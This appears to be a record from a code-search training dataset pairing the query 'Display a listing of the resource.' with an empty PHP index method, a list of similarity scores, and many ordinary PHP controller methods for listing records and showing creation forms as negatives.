[ "0.6745192", "0.6745192", "0.6607936", "0.6480248", "0.6380478", "0.6346251", "0.6309924", "0.6302481", "0.62549895", "0.62511677", "0.62511677", "0.6111791", "0.60769993", "0.60728127", "0.60465515", "0.60351735", "0.6033834", "0.601554", "0.5982608", "0.59806865", "0.5979308", "0.5970091", "0.59315383", "0.5928182", "0.59239197", "0.5891605", "0.588925", "0.5849558", "0.58478904", "0.58265656", "0.5818011", "0.5813345", "0.5808009", "0.5790819", "0.57766616", "0.57694167", "0.5765023", "0.57642305", "0.57522315", "0.5740738", "0.5738047", "0.5727545", "0.5724201", "0.5723084", "0.57225823", "0.5721401", "0.5718913", "0.5714439", "0.5712011", "0.5707315", "0.5694636", "0.5680138", "0.56711453", "0.5670484", "0.56703377", "0.56703377", "0.56703377", "0.5669673", "0.56673825", "0.56659126", "0.5656451", "0.5651109", "0.56498116", "0.564325", "0.5635642", "0.5633513", "0.56310356", "0.56235486", "0.56176996", "0.5612909", "0.560956", "0.5595046", "0.5579938", "0.557241", "0.5556209", "0.5550101", "0.55487776", "0.5547998", "0.5547349", "0.5535324", "0.5534813", "0.55342954", "0.55319065", "0.5525128", "0.55199116", "0.5518253", "0.55144674", "0.5509604", "0.55057275", "0.550087", "0.550019", "0.54966915", "0.54966915", "0.54966915", "0.54954666", "0.54937917", "0.5492664", "0.5492298", "0.5490264", "0.5489261", "0.54850507" ]
0.0
-1
Display a listing of the resource.
public function index() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { return view('gallery.create'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n 